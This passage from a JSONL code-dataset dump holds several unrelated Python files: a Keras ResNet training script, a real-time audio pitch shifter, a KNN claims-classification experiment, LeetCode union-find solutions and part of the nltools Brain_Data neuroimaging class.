callbacks=[log, tb, checkpoint, lr_decay],validation_data=(x_test,y_test))\n\n model.save_weights(args.save_dir + '/trained_model.h5')\n print('Trained model saved to \\'%s/trained_model.h5\\'' % args.save_dir)\n\n return model\n\n\ndef test(model, data):\n x_test, y_test = data\n y_pred= model.predict(x_test)\n \n print(\"y_pred shape:\",y_pred.shape)\n top_values, top_indices = K.get_session().run(tf.nn.top_k(y_pred, k=5))\n print(top_indices.shape)\n top5 = 0\n y = np.argmax(y_test, 1)\n for i in range(len(y)):\n #print(y[i],top_indices[i],y[i] in top_indices[i])\n if y[i] in top_indices[i]:\n top5 += 1\n print('Top 5 acc: ', top5/len(y),top5,\" out of \",len(y))\n print('Test acc:', np.sum(np.argmax(y_pred, 1) == np.argmax(y_test, 1))/y_test.shape[0])\n\ndef submit(model,args,test_dir,size=[100,100]):\n import scipy.misc\n files = os.listdir(test_dir)\n group_size = int(len(files) / args.groups)\n with open(\"results.txt\",\"w\") as result_file:\n for i in range(args.groups):\n print(\"Running on group\",i)\n test_im = []\n filenames = []\n for j in range(group_size * i,min(len(files),group_size*(i+1))):\n filepath = os.path.join(test_dir, files[j])\n image = scipy.misc.imread(filepath)\n image = scipy.misc.imresize(image, (size[0], size[1],3))\n test_im.append(image)\n filenames.append(files[j])\n test_im = np.array(test_im)\n test_im = test_im.reshape(-1, 100, 100, 3).astype('float32') / 255.\n print(\"predicting on \",test_im.shape[0],\" images\")\n y_pred = model.predict(test_im)\n top_values, top_indices = K.get_session().run(tf.nn.top_k(y_pred, k=5,sorted=True))\n print(\"writing to file\")\n for l in range(len(filenames)):\n fn = filenames[l]\n vals = \" \".join(map(str,top_indices[l]))\n result_file.write(\"test/\"+fn + \" \"+vals+\"\\n\")\n\nif __name__ == \"__main__\":\n \n # setting the hyper parameters\n parser = argparse.ArgumentParser()\n parser.add_argument('--batch_size', default=100, type=int)\n parser.add_argument('--epochs', default=30, type=int)\n parser.add_argument('--groups', default=1000, type=int)\n parser.add_argument('--lam_recon', default=0.392, type=float) # 784 * 0.0005, paper uses sum of SE, here uses MSE\n parser.add_argument('--num_routing', default=3, type=int) # num_routing should > 0\n parser.add_argument('--shift_fraction', default=0.1, type=float)\n parser.add_argument('--debug', default=0, type=int) # debug>0 will save weights by TensorBoard\n parser.add_argument('--save_dir', default='./result')\n parser.add_argument('--is_training', default=1, type=int)\n parser.add_argument('--weights', default=None)\n parser.add_argument('--lr', default=0.001, type=float)\n parser.add_argument('--submit', default=0, type=int)\n \n args = parser.parse_args()\n print(args)\n if not os.path.exists(args.save_dir):\n os.makedirs(args.save_dir)\n\n ### Load Data ###\n train_data_list = '../../data/train.txt'\n val_data_list = '../../data/val.txt'\n images_root = '../../data/images/'\n\n \n\n model = resnet32()\n\n # train or test\n if args.weights is not None: # init the model weights with provided one\n model.load_weights(args.weights)\n if args.is_training and not args.submit:\n # train(model=model, data=((x_train, y_train), (x_test, y_test)), args=args)\n model.summary()\n trainBatch(model=model,args=args)\n if args.submit:\n test_dir = \"../../data/images/test\"\n print(\"submitting\")\n submit(model,args,test_dir,size=[100,100])\n else: # as long as weights are given, will run testing\n (x_test, y_test, x_train, y_train) = loadMiniplaces(train_data_list, val_data_list, images_root,num_train=100,num_val=100,size=[100,100])\n x_train = x_train.reshape(-1, 100, 100, 3).astype('float32') / 255.\n x_test = x_test.reshape(-1, 100, 100, 3).astype('float32') / 255.\n y_train = to_categorical(y_train.astype('float32'),num_classes=100)\n y_test = to_categorical(y_test.astype('float32'),num_classes=100)\n\n if args.weights is None:\n print('No weights are provided. Will test using random initialized weights.')\n else:\n print(\"Loading weights from \",args.weights)\n test(model=model, data=(x_test, y_test))\n","sub_path":"model/keras/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":14926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"379981251","text":"import numpy as np\r\nfrom utils import ms2smp, compute_stride, win_taper, dft_rescale\r\nimport sounddevice as sd\r\n\r\n\"\"\"\r\nReal-time pitch shifting with granular synthesis for shift factors <=1.0\r\n\"\"\"\r\n\r\n\"\"\" User selected parameters \"\"\"\r\ngrain_len = 30\r\ngrain_over = 0.99\r\nshift_factor = 1.2\r\ndata_type = np.int16\r\n\r\n# derived parameters\r\nMAX_VAL = np.iinfo(data_type).max\r\nGRAIN_LEN_SAMP = ms2smp(grain_len, 8000)\r\nSTRIDE = compute_stride(GRAIN_LEN_SAMP, grain_over)\r\nOVERLAP_LEN = GRAIN_LEN_SAMP-STRIDE\r\n\r\n# allocate input and output buffers\r\ninput_buffer = np.zeros(STRIDE, dtype=data_type)\r\noutput_buffer = np.zeros(STRIDE, dtype=data_type)\r\n\r\n\r\n# state variables and constants\r\ndef init():\r\n\r\n # lookup table for tapering window\r\n global WIN\r\n WIN = win_taper(GRAIN_LEN_SAMP, grain_over, data_type)\r\n\r\n # lookup table for linear interpolation\r\n global SAMP_VALS\r\n global AMP_VALS\r\n #SAMP_VALS, AMP_VALS = build_linear_interp_table(GRAIN_LEN_SAMP, shift_factor, data_type)\r\n\r\n # create arrays to pass between buffers (state variables)\r\n global grain\r\n grain = np.zeros(int(GRAIN_LEN_SAMP), dtype=data_type)\r\n global x_concat\r\n x_concat = np.zeros(int(GRAIN_LEN_SAMP), dtype=data_type)\r\n\r\n # create arrays for intermediate values\r\n global prev_latency, prev_grain\r\n prev_latency = np.zeros(int(OVERLAP_LEN), dtype=data_type)\r\n prev_grain = np.zeros(int(OVERLAP_LEN), dtype=data_type)\r\n\r\n\r\n# the process function!\r\n# the process function!\r\ndef process(input_buffer, output_buffer, buffer_len):\r\n\r\n # need to specify those global variables changing in this function (state variables and intermediate values)\r\n global grain, x_concat, prev_latency, prev_grain\r\n\r\n # append samples from previous buffer, construction of the grain\r\n for n in range(int(GRAIN_LEN_SAMP)):\r\n if n < int(OVERLAP_LEN):\r\n x_concat[n] = prev_latency[n]\r\n else:\r\n x_concat[n] = input_buffer[n-int(OVERLAP_LEN)]\r\n\r\n # rescale\r\n #for n in range(int(GRAIN_LEN_SAMP)):\r\n #grain[n] = float(AMP_VALS[n]/MAX_VAL)*x_concat[int(SAMP_VALS[n])] + (1-float(AMP_VALS[n]/MAX_VAL))*x_concat[int(SAMP_VALS[n])+1]\r\n grain = dft_rescale(x_concat,shift_factor)\r\n\r\n # apply window\r\n for n in range(int(GRAIN_LEN_SAMP)):\r\n grain[n] = grain[n] * float(WIN[n]/MAX_VAL)\r\n\r\n # write to output\r\n for n in range(int(GRAIN_LEN_SAMP)):\r\n # overlapping part\r\n if n < OVERLAP_LEN:\r\n output_buffer[n] = grain[n] + prev_grain[n]\r\n # non-overlapping part\r\n elif n < STRIDE:\r\n output_buffer[n] = grain[n]\r\n # update state variables\r\n else:\r\n prev_latency[n-int(STRIDE)] = x_concat[n]\r\n prev_grain[n -int(STRIDE)] = grain[n]\r\n\r\n\"\"\"\r\n# Nothing to touch after this!\r\n# \"\"\"\r\ntry:\r\n sd.default.samplerate = 8000\r\n sd.default.blocksize = STRIDE\r\n sd.default.dtype = data_type\r\n\r\n def callback(indata, outdata, frames, time, status):\r\n if status:\r\n print(status)\r\n process(indata[:,0], outdata[:,0], frames)\r\n\r\n init()\r\n with sd.Stream(channels=1, callback=callback):\r\n print('#' * 80)\r\n print('press Return to quit')\r\n print('#' * 80)\r\n input()\r\nexcept KeyboardInterrupt:\r\n parser.exit('\\nInterrupted by user')","sub_path":"Python/micophone_DFT.py","file_name":"micophone_DFT.py","file_ext":"py","file_size_in_byte":3329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"297251666","text":"import numpy as np\nnp.random.seed(888)\n\nimport pandas as pd\nfrom sklearn.metrics import log_loss\nfrom sklearn.model_selection import KFold\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.neighbors import RadiusNeighborsClassifier\n\ntrain = pd.read_csv('train_recode_8.csv.gz', compression=\"gzip\")\ntest = pd.read_csv('test_recode_8.csv.gz', compression=\"gzip\")\ntrain.shape\ntest.shape\n\ny_train = train['target'].ravel()\nall_data = pd.concat([train.drop(['loss', 'target'], axis=1), test], ignore_index=True)\nall_data.index\nall_data.head()\n\n#To one-hot encode\ncat_cols = [\"adj\", \"clmnt_gender\", \"major_class_cd\", \"prexist_dsblty_in\", \"catas_or_jntcvg_cd\",\n \"suit_matter_type\", \"initl_trtmt_cd\", \"state\",\n \"occ_code\", \"sic_cd\", \"diagnosis_icd9_cd\", \n \"cas_aia_cds_1_2\", \"cas_aia_cds_3_4\", \"clm_aia_cds_1_2\", \"clm_aia_cds_3_4\"]\n\n#Already normalized\nnum_cols = ['econ_unemployment_py', 'paid_year', 'econ_gdp_py',\n 'econ_gdp_ar_py', 'econ_price_py', 'econ_price_allitems_py',\n 'econ_price_healthcare_py', 'econ_10yr_note_py', \n 'paid_m', 'paid_l', 'paid_o', 'any_i', 'any_m', 'any_l', 'any_o',\n 'mean_i', 'mean_m', 'mean_l', 'mean_o', 'mean_im', 'mean_all', 'min_i',\n 'min_m', 'min_l', 'min_o', 'min_im', 'min_all', 'max_i', 'max_m',\n 'max_l', 'max_o', 'max_im', 'max_all', 'med_i', 'med_m', 'med_l',\n 'med_o', 'med_im', 'med_all',\n 'cutoff_year', 'avg_wkly_wage', 'imparmt_pct', 'dnb_emptotl',\n 'dnb_emphere', 'dnb_worth', 'dnb_sales', 'econ_gdp_ly',\n 'econ_gdp_ar_ly', 'econ_price_ly', 'econ_price_allitems_ly',\n 'econ_price_healthcare_ly', 'econ_10yr_note_ly', 'econ_unemployment_ly',\n 'surgery_yearmo', 'imparmt_pct_yearmo', 'clmnt_birth_yearmo',\n 'empl_hire_yearmo', 'death_yearmo', 'death2_yearmo', 'loss_yearmo',\n 'reported_yearmo', 'abstract_yearmo', 'clm_create_yearmo', 'mmi_yearmo',\n 'rtrn_to_wrk_yearmo', 'eff_yearmo', 'exp_yearmo', 'suit_yearmo',\n 'duration', 'report_to_claim', 'report_lag', 'eff_to_loss',\n 'loss_to_mmi', 'loss_to_return', 'years_working', 'age_at_injury',\n 'age_at_hire', 'age_at_mmi', 'age_at_return']\n\n#To normalize\nnum_to_norm = ['Other', 'PPD', 'PTD', 'STLMT', 'TTD', 'n_hist']\n\nall_data[num_cols].head()\n\n#To normalize\nmc_vars = [f for f in all_data.columns if 'mc_code' in f]\n#As is\nbin_vars = [f for f in all_data.columns if 'any' in f]\n#To one-hot encode\ncat_vars_new = [f for f in all_data.columns if 'cat' in f]\n\n#cat_cols.extend(cat_vars_new)\n\ndf_normal = pd.DataFrame(all_data, columns = ['claim_id'])\nfor f in cat_cols:\n all_data.ix[all_data[f] > 2500, f] = 2500\n d = pd.get_dummies(all_data[f])\n frames = [df_normal, d]\n df_normal = pd.concat(frames, axis=1)\n\nlen(all_data.columns)\nlen(cat_cols)\nlen(df_normal.columns)\n\nnum_to_norm.extend(mc_vars)\n\n#df_normal = pd.DataFrame(all_data, columns = ['claim_id'])\nfor f in num_to_norm:\n s = (all_data[f] - all_data[f].mean()) / all_data[f].std()\n frames = [df_normal, s]\n df_normal = pd.concat(frames, axis=1)\n\nselect_vars = num_cols\nnum_cols.insert(0,\"claim_id\")\nselect_vars.extend(bin_vars)\n\nlen(df_normal.columns)\ndf_normal.head()\n\ntrain_norm = pd.merge(pd.DataFrame(train[select_vars]), df_normal, on='claim_id', how='inner', sort=False)\ntest_norm = pd.merge(pd.DataFrame(test[select_vars]), df_normal, on='claim_id', how='inner', sort=False)\n\n#####Sample Data#####\ntrain_knn = train_norm.sample(frac=0.1)\ny_sample = pd.merge(train[['claim_id', 'target']], train_knn[['claim_id']], on='claim_id', how='inner', sort=False)\ny_train = y_sample['target'].ravel()\n#####################\n\n#y_train = train['target'].ravel()\nX = train_knn.drop(['claim_id'], axis=1)\nX_test = test.drop(['claim_id'], axis=1)\n\ntrain_id = train_knn['claim_id'].values\ntest_id = test['claim_id'].values\n\nknn_1a = KNeighborsClassifier(n_neighbors=5, n_jobs=-1, weights='uniform')\nknn_1b = KNeighborsClassifier(n_neighbors=5, n_jobs=-1, weights='distance')\n\nknn_1a.fit(X, y_train)\ny1 = knn_1a.predict_proba(X)\n\n\n\nknn_2 = KNeighborsClassifier(n_neighbors=10, n_jobs=-1)\nknn_3 = KNeighborsClassifier(n_neighbors=25, n_jobs=-1)\nknn_4 = KNeighborsClassifier(n_neighbors=50, n_jobs=-1)\nknn_5 = KNeighborsClassifier(n_neighbors=100, n_jobs=-1)\nknn_6 = KNeighborsClassifier(n_neighbors=250, n_jobs=-1)\n\nknn_2c = RadiusNeighborsClassifier(radius=2, n_jobs=-1, weights='uniform')\nknn_2d = RadiusNeighborsClassifier(radius=2, n_jobs=-1, weights='distance')\n\nknn_2c.fit(X, y_train)\ny2 = knn_2c.predict(X)\nd2 = knn_2c.radius_neighbors(X, radius=2, return_distance=True)\nd4 = knn_2c.radius_neighbors(X, radius=4, return_distance=True)\n\nknn_2d.fit(X, y_train)\ny3 = knn_2d.predict_proba(X)\n","sub_path":"Ajay/knn_1.py","file_name":"knn_1.py","file_ext":"py","file_size_in_byte":4711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"601157712","text":"# 1722. Minimize Hamming Distance After Swap Operations\n# vwc 223.\n\n# 2021/02/25\n# Runtime: 1416 ms, faster than 77.17% of Python3 online submissions for Minimize Hamming Distance After Swap Operations.\n# Memory Usage: 60.5 MB, less than 64.26% of Python3 online submissions for Minimize Hamming Distance After Swap Operations.\n\n\n# 并查集高级题\n# 这题与lc 1202比较类似,都是把大问题规化为在每个连通分支上的小问题\n# 难点 - 对于给定的两个list: l1和l2,如果l1, l2可以任意排列,那么它们的最小hamming 距离可以达到多少?\n# 之前有几个想当然的想法都不对,最后用哈希表暴力解决了。\n\nclass Solution:\n def minimumHammingDistance(self, source: List[int], target: List[int], allowedSwaps: List[List[int]]) -> int:\n uf = UnionFind(len(source))\n for i, j in allowedSwaps:\n uf.union(i, j)\n components = {}\n for i in range(len(source)):\n p = uf.find(i)\n if p not in components:\n components[p] = [i]\n else:\n components[p].append(i)\n ans = 0\n for p, sons in components.items():\n l_s = list(source[i] for i in sons)\n l_t = list(target[i] for i in sons)\n ans += self.calc_diff(l_s, l_t)\n return ans\n\n def calc_diff(self, l1, l2):\n m1, m2 = {}, {}\n for n1, n2 in zip(l1, l2):\n m1[n1] = m1.get(n1, 0) + 1\n m2[n2] = m2.get(n2, 0) + 1\n count = 0\n for num in m1:\n if num in m2:\n count += min(m1[num], m2[num])\n return len(l1) - count \n\n\nclass UnionFind:\n\n def __init__(self, n):\n self.parents = {i: i for i in range(n)}\n\n def find(self, node):\n root = node\n while root != self.parents[root]:\n root = self.parents[root]\n while root != node:\n old_root = self.parents[node]\n self.parents[node] = root\n node = old_root\n return root\n\n def union(self, x, y):\n root_x = self.find(x)\n root_y = self.find(y)\n if root_x == root_y:\n return False\n self.parents[root_x] = root_y\n return True\n\n\n# 2021/05/18\n# Runtime: 1344 ms, faster than 85.26% of Python3 online submissions for Minimize Hamming Distance After Swap Operations.\n# Memory Usage: 64.2 MB, less than 40.24% of Python3 online submissions for Minimize Hamming Distance After Swap Operations.\n\n# 与之前的差不多,难点在于如何计算两个数组的距离。\n\nclass Solution:\n def minimumHammingDistance(self, source: List[int], target: List[int], allowedSwaps: List[List[int]]) -> int:\n n = len(source)\n uf = UnionFind(n)\n for x, y in allowedSwaps:\n uf.union(x, y)\n groups = {}\n for i in range(n):\n p = uf.find(i)\n if p not in groups:\n groups[p] = [i]\n else:\n groups[p].append(i)\n ans = 0\n for g in groups:\n nums1, nums2 = {}, {}\n for i in groups[g]:\n nums1[source[i]] = nums1.get(source[i], 0) + 1\n nums2[target[i]] = nums2.get(target[i], 0) + 1\n ans += self.calc_dist(nums1, nums2)\n return ans\n\n def calc_dist(self, nums1, nums2):\n ans = 0\n for num in nums1:\n if num not in nums2:\n ans += nums1[num]\n elif nums1[num] > nums2[num]:\n ans += nums1[num] - nums2[num]\n return ans\n\n\nclass UnionFind:\n def __init__(self, n):\n self.parents = {i: i for i in range(n)}\n\n def find(self, node):\n root = node\n while root != self.parents[root]:\n root = self.parents[root]\n while root != node:\n old_root = self.parents[node]\n self.parents[node] = root\n node = old_root\n return root\n\n def union(self, x, y):\n root_x = self.find(x)\n root_y = self.find(y)\n if root_x == root_y: return False\n self.parents[root_x] = root_y\n return True\n\n","sub_path":"1722. Minimize Hamming Distance After Swap Operations.py","file_name":"1722. Minimize Hamming Distance After Swap Operations.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"410446109","text":"from __future__ import division\n\n'''\nNeuroLearn Data Classes\n=======================\n\nClasses to represent various types of data\n\n'''\n\n## Notes:\n# Need to figure out how to speed up loading and resampling of data\n\n__all__ = ['Brain_Data',\n 'Adjacency',\n 'Groupby']\n__author__ = [\"Luke Chang\"]\n__license__ = \"MIT\"\n\nimport os\nimport cPickle \nimport nibabel as nib\nfrom nltools.utils import get_resource_path, set_algorithm, get_anatomical\nfrom nltools.cross_validation import set_cv\nfrom nltools.plotting import dist_from_hyperplane_plot, scatterplot, probability_plot, roc_plot\nfrom nltools.stats import pearson,fdr,threshold, fisher_r_to_z, correlation_permutation,one_sample_permutation,two_sample_permutation\nfrom nltools.mask import expand_mask,collapse_mask\nfrom nltools.analysis import Roc\nfrom nilearn.input_data import NiftiMasker\nfrom nilearn.image import resample_img\nfrom nilearn.masking import intersect_masks\nfrom nilearn.regions import connected_regions\nfrom nilearn.plotting.img_plotting import plot_epi, plot_roi, plot_stat_map\nfrom copy import deepcopy\nimport pandas as pd\nimport numpy as np\nfrom scipy.stats import ttest_1samp, t, norm\nfrom scipy.signal import detrend\nfrom scipy.spatial.distance import squareform\nimport six\nimport sklearn\nfrom sklearn.metrics.pairwise import pairwise_distances\nfrom nltools.pbs_job import PBS_Job\nimport warnings\nimport shutil\nimport tempfile\nimport seaborn as sns\nfrom pynv import Client\n\n# Optional dependencies\ntry:\n from mne.stats import spatio_temporal_cluster_1samp_test, ttest_1samp_no_p\nexcept ImportError:\n pass \n\nclass Brain_Data(object):\n\n \"\"\"\n Brain_Data is a class to represent neuroimaging data in python as a vector rather than a 3-dimensional matrix. \n This makes it easier to perform data manipulation and analyses.\n\n Args:\n data: nibabel data instance or list of files\n Y: Pandas DataFrame of training labels\n X: Pandas DataFrame Design Matrix for running univariate models \n mask: binary nifiti file to mask brain data\n output_file: Name to write out to nifti file\n **kwargs: Additional keyword arguments to pass to the prediction algorithm\n\n \"\"\"\n\n def __init__(self, data=None, Y=None, X=None, mask=None, output_file=None, **kwargs):\n if mask is not None:\n if not isinstance(mask, nib.Nifti1Image):\n if type(mask) is str:\n if os.path.isfile(mask):\n mask = nib.load(mask)\n else:\n raise ValueError(\"mask is not a nibabel instance\")\n self.mask = mask\n else:\n self.mask = nib.load(os.path.join(get_resource_path(),'MNI152_T1_2mm_brain_mask.nii.gz'))\n self.nifti_masker = NiftiMasker(mask_img=self.mask)\n\n if data is not None:\n if isinstance(data,(str,unicode)):\n if 'http://' in data:\n from nltools.datasets import download_nifti\n tmp_dir = os.path.join(tempfile.gettempdir(), str(os.times()[-1]))\n os.makedirs(tmp_dir)\n data=nib.load(download_nifti(data,data_dir=tmp_dir))\n else:\n data=nib.load(data)\n self.data = self.nifti_masker.fit_transform(data)\n elif type(data) is list:\n # Load and transform each image in list separately (nib.concat_images(data) can't handle images of different sizes)\n self.data = []\n for i in data:\n if isinstance(i,six.string_types):\n self.data.append(self.nifti_masker.fit_transform(nib.load(i)))\n elif isinstance(i,nib.Nifti1Image):\n self.data.append(self.nifti_masker.fit_transform(i))\n self.data = np.array(self.data)\n elif isinstance(data,nib.Nifti1Image):\n self.data = np.array(self.nifti_masker.fit_transform(data))\n else:\n raise ValueError(\"data is not a nibabel instance\")\n\n # Collapse any extra dimension\n if any([x==1 for x in self.data.shape]):\n self.data=self.data.squeeze()\n else:\n self.data = np.array([])\n\n if Y is not None:\n if type(Y) is str:\n if os.path.isfile(Y):\n Y=pd.read_csv(Y,header=None,index_col=None)\n if isinstance(Y, pd.DataFrame):\n if self.data.shape[0]!= len(Y):\n raise ValueError(\"Y does not match the correct size of data\")\n self.Y = Y\n else:\n raise ValueError(\"Make sure Y is a pandas data frame.\")\n else:\n self.Y = pd.DataFrame()\n\n if X is not None:\n if type(X) is str:\n if os.path.isfile(X):\n X=pd.read_csv(X,header=None,index_col=None)\n if isinstance(X, pd.DataFrame):\n if self.data.shape[0]!= X.shape[0]:\n raise ValueError(\"X does not match the correct size of data\")\n self.X = X\n else:\n raise ValueError(\"Make sure X is a pandas data frame.\")\n else:\n self.X = pd.DataFrame()\n\n if output_file is not None:\n self.file_name = output_file\n else:\n self.file_name = []\n\n def __repr__(self):\n return '%s.%s(data=%s, Y=%s, X=%s, mask=%s, output_file=%s)' % (\n self.__class__.__module__,\n self.__class__.__name__,\n self.shape(),\n len(self.Y),\n self.X.shape,\n os.path.basename(self.mask.get_filename()),\n self.file_name\n )\n\n def __getitem__(self, index):\n new = deepcopy(self)\n if isinstance(index, int):\n new.data = np.array(self.data[index,:]).flatten()\n else:\n new.data = np.array(self.data[index,:]) \n if not self.Y.empty:\n new.Y = self.Y.iloc[index]\n if not self.X.empty:\n new.X = self.X.iloc[index] \n return new\n\n def __setitem__(self, index, value):\n if not isinstance(value,Brain_Data):\n raise ValueError('Make sure the value you are trying to set is a Brain_Data() instance.')\n self.data[index,:] = value.data\n if not value.Y.empty:\n self.Y.values[index] = value.Y\n if not value.X.empty:\n if self.X.shape[1] != value.X.shape[1]:\n raise ValueError('Make sure self.X is the same size as value.X.')\n self.X.values[index] = value.X\n\n def __len__(self):\n return self.shape()[0]\n\n def __add__(self, y):\n new = deepcopy(self)\n if isinstance(y,(int,float)):\n new.data = new.data + y\n if isinstance(y,Brain_Data):\n if self.shape() != y.shape():\n raise ValueError('Both Brain_Data() instances need to be the same shape.')\n new.data = new.data + y.data\n return new\n\n def __sub__(self, y):\n new = deepcopy(self)\n if isinstance(y,int):\n new.data = new.data + y\n if isinstance(y,Brain_Data):\n if self.shape() != y.shape():\n raise ValueError('Both Brain_Data() instances need to be the same shape.')\n new.data = new.data - y.data\n return new\n\n def __mul__(self, y):\n new = deepcopy(self)\n if isinstance(y,int):\n new.data = new.data * y\n if isinstance(y,Brain_Data):\n if self.shape() != y.shape():\n raise ValueError('Both Brain_Data() instances need to be the same shape.')\n new.data = np.multiply(new.data,y.data)\n return new\n\n def __iter__(self):\n for x in range(len(self)):\n yield self[x] \n\n def shape(self):\n \"\"\" Get images by voxels shape. \"\"\"\n\n return self.data.shape\n\n def mean(self):\n \"\"\" Get mean of each voxel across images. \"\"\" \n\n out = deepcopy(self)\n if len(self.shape())>1:\n out.data = np.mean(self.data, axis=0)\n else:\n out = np.mean(self.data)\n return out\n\n def std(self):\n \"\"\" Get standard deviation of each voxel across images. \"\"\" \n\n out = deepcopy(self)\n if len(self.shape())>1:\n out.data = np.std(self.data, axis=0)\n else:\n out = np.std(self.data)\n return out\n\n def sum(self):\n \"\"\" Sum over voxels.\"\"\"\n\n out = deepcopy(self)\n if len(self.shape())>1:\n out.data = np.sum(out.data,axis=0)\n else:\n out = np.sum(self.data)\n return out\n\n def to_nifti(self):\n \"\"\" Convert Brain_Data Instance into Nifti Object \"\"\"\n \n return self.nifti_masker.inverse_transform(self.data)\n\n def write(self, file_name=None):\n \"\"\" Write out Brain_Data object to Nifti File.\n\n Args:\n file_name: name of nifti file\n\n \"\"\"\n\n self.to_nifti().to_filename(file_name)\n\n def plot(self, limit=5, anatomical=None, **kwargs):\n \"\"\" Create a quick plot of self.data. Will plot each image separately\n\n Args:\n limit: max number of images to return\n anatomical: nifti image or file name to overlay\n\n \"\"\"\n\n if anatomical is not None:\n if not isinstance(anatomical, nib.Nifti1Image):\n if type(anatomical) is str:\n anatomical = nib.load(anatomical)\n else:\n raise ValueError(\"anatomical is not a nibabel instance\")\n else:\n anatomical = get_anatomical()\n\n if self.data.ndim == 1:\n plot_stat_map(self.to_nifti(), anatomical, cut_coords=range(-40, 50, 10), display_mode='z', \n black_bg=True, colorbar=True, draw_cross=False)\n else:\n for i in xrange(self.data.shape[0]):\n if i < limit:\n plot_stat_map(self[i].to_nifti(), anatomical, cut_coords=range(-40, 50, 10), display_mode='z', \n black_bg=True, colorbar=True, draw_cross=False,**kwargs)\n\n def regress(self):\n \"\"\" run vectorized OLS regression across voxels.\n\n Returns:\n out: dictionary of regression statistics in Brain_Data instances {'beta','t','p','df','residual'}\n \n \"\"\" \n\n if not isinstance(self.X, pd.DataFrame):\n raise ValueError('Make sure self.X is a pandas DataFrame.')\n\n if self.X.empty:\n raise ValueError('Make sure self.X is not empty.')\n\n if self.data.shape[0]!= self.X.shape[0]:\n raise ValueError(\"self.X does not match the correct size of self.data\")\n\n b = np.dot(np.linalg.pinv(self.X), self.data)\n res = self.data - np.dot(self.X,b)\n sigma = np.std(res,axis=0)\n stderr = np.dot(np.matrix(np.diagonal(np.linalg.inv(np.dot(self.X.T,self.X)))**.5).T,np.matrix(sigma))\n b_out = deepcopy(self)\n b_out.data = b\n t_out = deepcopy(self)\n t_out.data = b /stderr\n df = np.array([self.X.shape[0]-self.X.shape[1]] * t_out.data.shape[1])\n p_out = deepcopy(self)\n p_out.data = 2*(1-t.cdf(np.abs(t_out.data),df))\n\n \n # Might want to not output this info\n df_out = deepcopy(self)\n df_out.data = df\n sigma_out = deepcopy(self)\n sigma_out.data = sigma\n res_out = deepcopy(self)\n res_out.data = res\n\n return {'beta':b_out, 't':t_out, 'p':p_out, 'df':df_out, 'sigma':sigma_out, 'residual':res_out}\n\n def ttest(self, threshold_dict=None):\n \"\"\" Calculate one sample t-test across each voxel (two-sided)\n\n Args:\n threshold_dict: a dictionary of threshold parameters {'unc':.001} or {'fdr':.05} or {'permutation':tcfe,n_permutation:5000}\n\n Returns:\n out: dictionary of regression statistics in Brain_Data instances {'t','p'}\n \n \"\"\" \n\n t = deepcopy(self)\n p = deepcopy(self)\n\n if threshold_dict is not None:\n if 'permutation' in threshold_dict:\n # Convert data to correct shape (subjects, time, space)\n data_convert_shape = deepcopy(self.data)\n data_convert_shape = np.expand_dims(data_convert_shape, axis=1)\n if 'n_permutations' in threshold_dict:\n n_permutations = threshold_dict['n_permutations']\n else:\n n_permutations = 1000\n warnings.warn('n_permutations not set: running with 1000 permutations')\n \n if 'connectivity' in threshold_dict:\n connectivity=threshold_dict['connectivity']\n else:\n connectivity=None\n \n if 'n_jobs' in threshold_dict:\n n_jobs = threshold_dict['n_jobs']\n else:\n n_jobs = 1\n \n if threshold_dict['permutation'] is 'tfce':\n perm_threshold = dict(start=0, step=0.2)\n else:\n perm_threshold = None\n \n if 'stat_fun' in threshold_dict:\n stat_fun = threshold_dict['stat_fun']\n else:\n stat_fun = ttest_1samp_no_p\n\n t.data, clusters, p_values, h0 = spatio_temporal_cluster_1samp_test(\n data_convert_shape, tail=0, threshold=perm_threshold, stat_fun=stat_fun,\n connectivity=connectivity, n_permutations=n_permutations, n_jobs=n_jobs)\n\n t.data = t.data.squeeze()\n\n p = deepcopy(t)\n for cl,pval in zip(clusters,p_values):\n p.data[cl[1][0]] = pval\n else:\n t.data, p.data = ttest_1samp(self.data, 0, 0)\n else:\n t.data, p.data = ttest_1samp(self.data, 0, 0)\n\n if threshold_dict is not None:\n if type(threshold_dict) is dict:\n if 'unc' in threshold_dict:\n thr = threshold_dict['unc']\n elif 'fdr' in threshold_dict:\n thr = fdr(p.data, q=threshold_dict['fdr'])\n elif 'permutation' in threshold_dict:\n thr = .05\n thr_t = threshold(t,p,thr) \n out = {'t':t, 'p':p,'thr_t':thr_t}\n else:\n raise ValueError(\"threshold_dict is not a dictionary. Make sure it is in the form of {'unc':.001} or {'fdr':.05}\")\n else:\n out = {'t':t, 'p':p}\n\n return out\n\n def append(self, data):\n \"\"\" Append data to Brain_Data instance\n\n Args:\n data: Brain_Data instance to append\n\n Returns:\n out: new appended Brain_Data instance\n \"\"\"\n\n if not isinstance(data, Brain_Data):\n raise ValueError('Make sure data is a Brain_Data instance')\n \n if self.isempty():\n out = deepcopy(data) \n else:\n out = deepcopy(self)\n if len(self.shape())==1 & len(data.shape())==1:\n if self.shape()[0]!=data.shape()[0]:\n raise ValueError('Data is a different number of voxels then the weight_map.')\n elif len(self.shape())==1 & len(data.shape())>1:\n if self.shape()[0]!=data.shape()[1]:\n raise ValueError('Data is a different number of voxels then the weight_map.')\n elif len(self.shape())>1 & len(data.shape())==1:\n if self.shape()[1]!=data.shape()[0]:\n raise ValueError('Data is a different number of voxels then the weight_map.')\n elif self.shape()[1]!=data.shape()[1]:\n raise ValueError('Data is a different number of voxels then the weight_map.')\n\n out.data = np.vstack([self.data,data.data])\n if out.Y.size:\n out.Y = self.Y.append(data.Y)\n if self.X.size:\n if isinstance(self.X,pd.DataFrame):\n out.X = self.X.append(data.X)\n else:\n out.X = np.vstack([self.X, data.X])\n return out\n\n def empty(self, data=True, Y=True, X=True):\n \"\"\" Initalize Brain_Data.data as empty\n \n \"\"\"\n \n tmp = deepcopy(self)\n if data:\n tmp.data = np.array([])\n if Y:\n tmp.Y = pd.DataFrame()\n if X:\n tmp.X = pd.DataFrame()\n return tmp\n\n def isempty(self):\n \"\"\" Check if Brain_Data.data is empty \"\"\" \n\n if isinstance(self.data,np.ndarray):\n if self.data.size:\n boolean = False\n else:\n boolean = True\n\n if isinstance(self.data, list):\n if not self.data:\n boolean = True\n else:\n boolean = False\n \n return boolean\n\n def 